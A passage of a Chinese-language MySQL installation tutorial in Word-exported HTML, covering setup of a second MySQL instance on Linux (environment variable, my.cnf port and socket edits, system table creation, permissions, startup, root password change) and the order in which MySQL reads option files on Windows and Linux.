$MYSQL_HOME</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">环境变量实现</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><FONT face=Calibri>export MYSQL_HOME=/usr/local/mysql5<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><FONT face=Calibri>cp support-files/my-medium.cnf /usr/local/mysql5<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><FONT face=Calibri>e)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">如果安装了多个</SPAN><SPAN lang=EN-US><FONT face=Calibri>mysql</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">，此时要修改</SPAN><SPAN lang=EN-US><FONT face=Calibri>/usr/local/mysql5/my.cnf</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">文件</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><FONT face=Calibri>vi /usr/local/mysql5/my.cnf<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">把服务器名和</SPAN><SPAN lang=EN-US><FONT face=Calibri>sock</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">文件目录以及端口修改如下</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><FONT face=Calibri>[mysqld1]<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><FONT face=Calibri>port<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>= 3308<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><FONT face=Calibri>socket<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>= /usr/local/mysql5/tmp/mysql.sock<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>f)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">创建系统数据库和系统表</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>bin/mysql_install_db –user=mysql<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>g)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">设置目录权限</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>chown –R root:mysql .<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>chown –R mysql:mysql data<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>h)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">启动</SPAN><SPAN lang=EN-US><FONT face=Calibri>Mysql<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><SPAN lang=EN-US><FONT face=Calibri>bin/mysqld_safe –user=mysql &amp;<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">修改</SPAN><SPAN lang=EN-US><FONT face=Calibri> mysql </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">的</SPAN><SPAN lang=EN-US><FONT face=Calibri> root </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">密码</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><FONT face=Calibri>/usr/local/mysql/bin/mysqladmin -u root -p password 123456<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">回车出现</SPAN><SPAN lang=EN-US><FONT face=Calibri> Enter password: </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">最开始密码默认为空</SPAN><FONT face=Calibri> </FONT><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">继续回车即可</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><FONT face=Calibri>123456 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">即为你的新密码</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd"><SPAN lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>3,Mysql</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">参数文件读取顺序</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>3.1 windows</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">平台</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<TABLE class=MsoTableLightShadingAccent2 style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext" cellSpacing=0 cellPadding=0 border=1>
<TBODY>
<TR style="mso-yfti-irow: -1; mso-yfti-firstrow: yes">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 5"><B><SPAN style="COLOR: #943634; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent2; mso-themeshade: 191">文件名</SPAN><SPAN lang=EN-US style="COLOR: #943634; mso-themecolor: accent2; mso-themeshade: 191"><o:p></o:p></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 1"><B><SPAN style="COLOR: #943634; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent2; mso-themeshade: 191">备注</SPAN><SPAN lang=EN-US style="COLOR: #943634; mso-themecolor: accent2; mso-themeshade: 191"><o:p></o:p></SPAN></B></P></TD></TR>
<TR style="mso-yfti-irow: 0">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #efd3d2; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent2; mso-background-themetint: 63" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 68"><B><SPAN lang=EN-US style="COLOR: #943634; mso-themecolor: accent2; mso-themeshade: 191"><FONT face=Calibri>WINDIR\my.ini<o:p></o:p></FONT></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #efd3d2; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent2; mso-background-themetint: 63" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN style="COLOR: #943634; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent2; mso-themeshade: 191">全局选项</SPAN><SPAN lang=EN-US style="COLOR: #943634; mso-themecolor: accent2; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 1">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 4"><B><SPAN lang=EN-US style="COLOR: #943634; mso-themecolor: accent2; mso-themeshade: 191"><FONT face=Calibri>C:\my.cnf<o:p></o:p></FONT></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="COLOR: #943634; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent2; mso-themeshade: 191">全局选项</SPAN><SPAN lang=EN-US style="COLOR: #943634; mso-themecolor: accent2; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 2">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #efd3d2; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent2; mso-background-themetint: 63" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 68"><B><SPAN lang=EN-US style="COLOR: #943634; mso-themecolor: accent2; mso-themeshade: 191"><FONT face=Calibri>INSTALLDIR\my.ini<o:p></o:p></FONT></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #efd3d2; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent2; mso-background-themetint: 63" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN style="COLOR: #943634; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent2; mso-themeshade: 191">全局选项</SPAN><SPAN lang=EN-US style="COLOR: #943634; mso-themecolor: accent2; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 3; mso-yfti-lastrow: yes">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 4"><B><SPAN lang=EN-US style="COLOR: #943634; mso-themecolor: accent2; mso-themeshade: 191"><FONT face=Calibri>defaults-extra-file<o:p></o:p></FONT></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="COLOR: #943634; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent2; mso-themeshade: 191">用</SPAN><SPAN lang=EN-US style="COLOR: #943634; mso-themecolor: accent2; mso-themeshade: 191"><FONT face=Calibri>--defaults-extra-file=path</FONT></SPAN><SPAN style="COLOR: #943634; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent2; mso-themeshade: 191">指定的文件</SPAN><SPAN lang=EN-US style="COLOR: #943634; mso-themecolor: accent2; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD></TR></TBODY></TABLE>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face=Calibri>3.2 Linux</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">平台</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<TABLE class=MsoTableLightShadingAccent4 style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext" cellSpacing=0 cellPadding=0 border=1>
<TBODY>
<TR style="mso-yfti-irow: -1; mso-yfti-firstrow: yes">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 5"><B><SPAN style="COLOR: #5f497a; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent4; mso-themeshade: 191">文件名</SPAN><SPAN lang=EN-US style="COLOR: #5f497a; mso-themecolor: accent4; mso-themeshade: 191"><o:p></o:p></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 1"><B><SPAN style="COLOR: #5f497a; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent4; mso-themeshade: 191">备注</SPAN><SPAN lang=EN-US style="COLOR: #5f497a; mso-themecolor: accent4; mso-themeshade: 191"><o:p></o:p></SPAN></B></P></TD></TR>
<TR style="mso-yfti-irow: 0">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #dfd8e8; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent4; mso-background-themetint: 63" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 68"><B><SPAN lang=EN-US style="COLOR: #5f497a; mso-themecolor: accent4; mso-themeshade: 191"><FONT face=Calibri>/etc/my.cnf<o:p></o:p></FONT></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #dfd8e8; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent4; mso-background-themetint: 63" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN style="COLOR: #5f497a; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent4; mso-themeshade: 191">全局选项</SPAN><SPAN lang=EN-US style="COLOR: #5f497a; mso-themecolor: accent4; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 1">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 4"><B><SPAN lang=EN-US style="COLOR: #5f497a; mso-themecolor: accent4; mso-themeshade: 191"><FONT face=Calibri>$MYSQL_HOME/my.cnf<o:p></o:p></FONT></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="COLOR: #5f497a; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent4; mso-themeshade: 191">全局选项</SPAN><SPAN lang=EN-US style="COLOR: #5f497a; mso-themecolor: accent4; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 2">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #dfd8e8; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent4; mso-background-themetint: 63" vAlign=top width=284>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 68"><B><SPAN lang=EN-US style="COLOR: #5f497a; mso-themecolor: accent4; mso-themeshade: 191"><FONT face=Calibri>defaults-extra-file<o:p></o:p></FONT></SPAN></B></P></TD>
